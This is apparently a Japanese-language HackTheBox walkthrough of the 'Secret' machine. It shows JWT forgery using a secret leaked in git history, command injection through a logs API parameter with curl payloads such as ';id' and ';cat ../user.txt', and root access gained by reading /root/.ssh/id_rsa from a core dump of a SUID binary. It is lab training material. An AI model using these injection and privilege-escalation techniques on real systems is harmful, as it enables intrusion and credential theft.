【HackTheBox】Secret Writeup
Enumeration
nmap
┌──(kali㉿kali)-[~]
└─$ nmap -sVC -T4 -p- -Pn -open 10.10.11.120
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-13 09:13 EDT
Nmap scan report for 10.10.11.120
Host is up (0.16s latency).
Not shown: 63947 closed tcp ports (conn-refused), 1585 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ssh、ウェブサイト、express middlewareがありました。ウェブサイトから確認していきます。
Website Enumeration
サイトの内容は何かのAPIのドキュメントでした。JWT(JSON web token)とMongoDBが使われていることが書いてありました。APIはport 3000で動いています。
ドキュメントから確認できるAPIの機能は下記の通りです。
- ユーザー登録
POST http://localhost:3000/api/user/register
- ログイン
POST http://localhost:3000/api/user/login
(成功するとJWTが返ってくる) - ユーザー権限確認
GET http://localhost:3000/api/priv
ソースコードのダウンロードもできます。
Source Code Analysis
ダウンロードしたコードを確認します。
express.js
で書かれていたAPIです。MERN/MEAN stack触ったことがあるならすぐ理解できると思います。/routes
から全ての機能を確認できます。
気になった点を記録していきます。
1. ドキュメントになかった/api/logs
route
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
exec()
に文字列をそのまま渡しているので、command injectionができるかもしれません。また、theadminしかlogsを確認することができない。
2. admin権限を持つアカウントのusername
router.get('/priv', verifytoken, (req, res) => {
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
// ...[snip]...
})
theadminというユーザーはadmin権限を持っている。
3.既存ユーザーのemail
/api/user/register
で、name=dasith, email=root@dasith.works
でユーザー登録を試したら、email already existのレスポンスが返ってきたので、DBにはこのメールアドレスが入っています。
4. JWTをsignするロジック
// login
router.post('/login', async (req , res) => {
const { error } = loginValidation(req.body)
if (error) return res.status(400).send(error.details[0].message);
//...[snip]...
// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
})
name、email、.env
の中のTOKEN_SECRET
がわかれば有効なJWTを発行して認証できます。
5. .env
の中身
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
jwt.sign()
に使われるTOKEN_SECRET
の値はsecretです。しかし、secretでJWTを作って/api/priv
にリクエストしてみたらaccess deniedが出ました。有効なSECRETを探さないといけません。
6. 過去のcommit
┌──(kali㉿kali)-[~/Downloads/local-web]
└─$ git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
removed .env for security reasons
のメッセージから、削除する前の.env
にsensitive informationが入っていたことを推測できます。
git show
でfirst commitの時の.envを見てみます。
+++ b/.env
@@ -0,0 +1,2 @@
+DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
+TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
本当のTOKEN_SECRET
が見つかりました。これでJWT tokenを作ります。
Craft admin JWT
debuggerでJWTを作ります。https://jwt.io/#debugger-io
このトークンをheaderに入れて、/api/logs?file=;
にリクエストを投げてみます。
レスポンスに過去のコミットメッセージが入っていました。このJWTを使えばadmin権限でAPIを叩くことができます。
Foothold
Command Injection & User Flag
/api/logs?file=;id
を試します。
curl 'http://10.10.11.120:3000/api/logs?file=;id' --header 'authzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NDVmOGYxMzE2ZTM0YzA0NjAyZTdhOGQiW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjgzOTg2ODM4fQ.iFtuL2y6jkRFk7di5Aovfs'
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃odes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"
Command injectionが成功しました。また、dasithというユーザーとしてコマンドを実行していることが確認できました。このままuser.txtをreadします。
curl 'http://10.10.11.120:3000/api/logs?file=;cat+../user.txt' --header 'xxx'
これでuserフラグゲットです。次はreverse shellも取ります。
Reverse Shell as Dasith
payloadはreverse shell generatorのnc mkfifo
のURL encodeしたものを使いました。https://www.revshells.com/
他のpayloadをURL encode/base64 encodeしていろいろ試しましたが、なぜかうまくできなくて最後はこれでいけました。
Privilege Escalation
Linpeas
enumerationでいいヒントが見つからなかったのでLinpeasを実行してみました。
出力される情報量が多いですが、とりあえずハイライトされたものを確認します。
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
...
-rwsr-xr-x 1 root root 18K Oct 7 2021 /opt/count (Unknown SUID binary!)
...
/opt/
を確認すると、code.c
がありました。これはcountのソースコードっぽいです。
$ ls -la
total 56
drwxr-xr-x 2 root root 4096 Oct 7 2021 .
drwxr-xr-x 20 root root 4096 Oct 7 2021 ..
-rw-r--r-- 1 root root 3736 Oct 7 2021 code.c
-rw-r--r-- 1 root root 16384 Oct 7 2021 .code.c.swp
-rwsr-xr-x 1 root root 17824 Oct 7 2021 count
-rw-r--r-- 1 root root 4622 Oct 7 2021 valgrind.log
Source Code Analysis
count
を実行してみます。ファイルかディレクトリのパスをインプットすると、情報を出力する、ファイルに保存することができるプログラムです。
- ディレクトリのパス:中身とその権限の一覧&ファイル、ディレクトリのカウントが出力される
- ファイルのパス:word count, line countが出力される
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]:
ソースコードを見てみます。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}
return 0;
}
// Enable coredump generation
というコメントがありました。
実行中のプログラムをkillするとcoredumpが作られるので、crash fileを解析するとメモリーのスナップショットからroot.txtの中身が見つかるかもしれません。
count
を実行して、そのプロセスを見つけてkillします。/var/crash
にcrashファイルが作られました。
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]:
dasith@secret:~/local-web$ ps -a
ps -a
PID TTY TIME CMD
1473 pts/0 00:00:00 count
1486 pts/1 00:00:00 ps
dasith@secret:~/local-web$ kill -6 1473
kill -6 1473
dasith@secret:/$ ls -la /var/crash
ls -la /var/crash
total 40
drwxrwxrwt 3 root root 4096 May 17 06:25 .
drwxr-xr-x 14 root root 4096 Aug 13 2021 ..
-rw-r----- 1 dasith dasith 28128 May 17 04:44 _opt_count.1000.crash
Inspect Crash File & Root Flag
apport-unpack
でcrashファイルを展開して中身を確認します。https://askubuntu.com/questions/434431/how-can-i-read-a-crash-file-from-var-crash
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash ./unpacked
apport-unpack _opt_count.1000.crash ./unpacked
dasith@secret:/var/crash$ cd unpacked
cd unpacked
dasith@secret:/var/crash/unpacked$ ls
ls
Architecture DistroRelease ProblemType ProcEnviron Signal
CoreDump ExecutablePath ProcCmdline ProcMaps Uname
Date ExecutableTimestamp ProcCwd ProcStatus UserGroups
stringsで可読部分を確認するとrootフラグがありました。
dasith@secret:/var/crash/unpacked$ strings CoreDump
strings CoreDump
CORE
CORE
count
...[snip]...
Save results a file? [y/N]: words = 2
Total lines = 2
/root/root.txt
1bxxxxxxxxxxxxxxxxxxxxxxxx8c
aliases
Shell as Root
coredumpから任意のファイルをreadすることができます。
rootのsshキーが分かればroot shell取れますので、/root/root.txt
を/root/.ssh/id_rsa
に書き換えて、同じ流れでキーをreadします。
キーを新しいファイルに保存、権限を設定してsshログインするとroot shellゲットです。
┌──(kali㉿kali)-[~]
└─$ chmod 600 secretrootkey
┌──(kali㉿kali)-[~]
└─$ ls -la secretrootkey
-rw------- 1 kali kali 2602 May 17 04:26 secretrootkey
┌──(kali㉿kali)-[~]
└─$ ssh root@10.10.11.120 -i secretrootkey
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 17 May 2023 08:28:55 AM UTC
System load: 0.1
Usage of /: 52.7% of 8.79GB
Memory usage: 9%
Swap usage: 0%
Processes: 233
Users logged in: 0
IPv4 address for eth0: 10.10.11.120
IPv6 address for eth0: dead:beef::250:56ff:feb9:e451
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Oct 26 15:13:55 2021
root@secret:~# ls /root
root.txt snap
memo
priv escが難しかった、、
Discussion